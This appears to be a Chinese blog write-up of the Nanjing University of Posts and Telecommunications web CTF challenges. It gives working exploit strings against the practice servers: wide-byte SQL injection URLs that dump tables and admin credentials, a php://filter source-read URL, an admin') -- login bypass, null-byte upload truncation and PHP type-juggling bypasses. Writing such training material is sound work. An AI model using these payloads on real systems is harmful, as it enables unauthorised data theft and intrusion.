• 南京邮电大学网络攻防平台WEB题


    平台地址:http://ctf.nuptsast.com/

    签到题:

    右键查看源代码,得到flag

    md5 collision:

    传入的a的md5值要为0e开头的,但不能是QNKCDZO,百度一个0e开头的md5

    得到flag

    签到2:

    右键查看源代码

    输入框允许的最大长度为10,口令的长度为11

    使用hackbar post一下

    得到flag

    这题不是WEB:

    下载图片,用记事本打开

    拉到最后,得到flag

    层层递进:

    是一个网站页面,先扫一下

    有个404.html

    查看一下源代码,得到flag

    AAencode:

    这题为javascript aaencode解密题,直接解密,得到flag,工具地址:https://tool.zcmzcm.org/aadecode

    单身二十年

    右键查看源代码

    点击进入,得到flag

    php decode:

    <?php
    function CLsI($ZzvSWE) {
    
        $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
    
        for ($i = 0; $i < strlen($ZzvSWE); $i++) {
    
            $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
    
        }
    
        return $ZzvSWE;
    
    }eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
    

     把eval改为echo,在本地用phpstudy测试一下

    得到flag

    文件包含:

    点进去

    用php://filter/读取index.php

    构建url:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

    为base64加密,解密一下得到flag

    单身一百年也没用:

    开启firebug,在“网络”里查看包,点击链接,查看包,得到flag

     Download~!:

    这类又两个下载链接,复制一下一个地址,http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,后面为base64加密,下载download.php,对download.php进行base64加密后下载

    下载后打开

    发现一个hereiskey.php,下载后打开,得到flag

    COOKIE:

    在firebug里的cookies处修改一下,把0改成1,然后刷新页面

    得到flag

    MYSQL:

    直接在后面加个robots.txt

    id不等于1024才给输出内容,intval()函数又是获取整数值,直接传入1024.1,得到flag

     sql injection 3:

    加个单引号

    单引号被过滤了,看来是宽字节注入,查一下字段

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3,4,5 %23
    

     报错

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2 %23
    

     没报错

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3 %23
    

     报错

    有2个字段

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2 %23
    

     

    爆出了个2,查一下数据库

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database() %23
    

     爆出了一个数据库

    爆一下表

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
    

     

    爆出了5个表:ctf,ctf2,ctf3,ctf4,news

    爆一下ctf的字段

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23
    

     得到2个字段

    爆一下内容

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf %23
    

     爆出一个admin和一个md5密文

    解一下密

    密文为njupt

    试了ctf2和ctf3都没有找到flag

    试ctf4的时候看到了一个flag字段

    爆一下内容

    得到flag

    /x00:

     ereg()函数可以%00截断,当传入的nctf为数组时,它的返回值不是FALSE,直接传入nctf[]得到flag

    bypass again:

    传入的a和b的值不相等,但是md5的值相等,可以用数组

    得到flag

    变量覆盖:

    点击,看一下源代码

    extract()函数变量覆盖$pass和$thepassword_123

    得到flag

     PHP是世界上最好的语言:

    访问一下index.txt

    <?php
    if(eregi("hackerDJ",$_GET[id])) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
      echo "<p>Access granted!</p>";
      echo "<p>flag: *****************} </p>";
    }
    ?>
    
    
    <br><br>
    Can you authenticate to this website?
    

     eregi()函数判断id传入的值是否为hackerDJ,传入的id的值url解码后要跟hackerDJ相同,对hackerDJ进行两次url编码

    http://way.nuptzj.cn/php/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41
    

     

    得到flag

    伪装者:

    这里提示本地登陆

    Header:

    打开Firebug,刷新一下界面,得到flag

    上传绕过:

    选择一个图片文件上传,用burp抓包

    在/uploads/后加一个php的后缀名,然后%00截断,发包得到flag

    SQL注入1:

    点击Source,查看源代码

    <?php
    if($_POST[user] && $_POST[pass]) {
        mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = trim($_POST[user]);
      $pass = md5(trim($_POST[pass]));
      $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
        echo '</br>'.$sql;
      $query = mysql_fetch_array(mysql_query($sql));
      if($query[user]=="admin") {
          echo "<p>Logged in! flag:******************** </p>";
      }
      if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
      }
    }
    echo $query[user];
    ?>
    

     用admin')把语句闭合,用--把后面的语句注释掉,如果是admin的话,就能得到flag

    构造语句:admin') -- aaa,密码随便填

    pass check:

    代码如下

    <?php
    $pass=@$_POST['pass'];
    $pass1=***********;//被隐藏起来的密码
    if(isset($pass))
    {
    if(@!strcmp($pass,$pass1)){
    echo "flag:nctf{*}";
    }else{
    echo "the pass is wrong!";
    }
    }else{
    echo "please input pass!";
    }
    ?>
    

     strcmp()函数对$pass和$pass1进行比较,如果一样的话返回flag,strcmp()比较的结果相同时会返回0,比较数组的时候会返回null,null和0在判断中相等

    用hackbar post一个数组

    得到flag

    起名字真难:

    源码如下:

    <?php
     function noother_says_correct($number)
    {
            $one = ord('1');
            $nine = ord('9');
            for ($i = 0; $i < strlen($number); $i++)
            {   
                    $digit = ord($number{$i});
                    if ( ($digit >= $one) && ($digit <= $nine) )
                    {
                            return false;
                    }
            }
               return $number == '54975581388';
    }
    $flag='*******';
    if(noother_says_correct($_GET['key']))
        echo $flag;
    else
        echo 'access denied';
    ?>
    

     不能传入数字,但是要传入54975581388,才能得到flag,转换为十六进制传入

    http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
    

     

    得到flag

  • 相关阅读:
    Vue.js学习 Item14 – 过滤器与自定义过滤器
    Vue.js学习 Item13 – 指令系统与自定义指令
    Vue.js学习 Item12 – 内部响应式原理探究
    redis配置文件redis.conf详细说明
    PhpStorm下Laravel代码智能提示
    laravel 5.0 artisan 命令列表(中文简体)
    阿里云CENTOS服务器挂载数据盘
    NGINX关于配置PATHINFO
    LINUX下导入、导出MYSQL数据库命令
    ECSTORE2.0 定时任务配置
  • 原文地址:https://www.cnblogs.com/sch01ar/p/7780585.html
Copyright © 2020-2023  润新知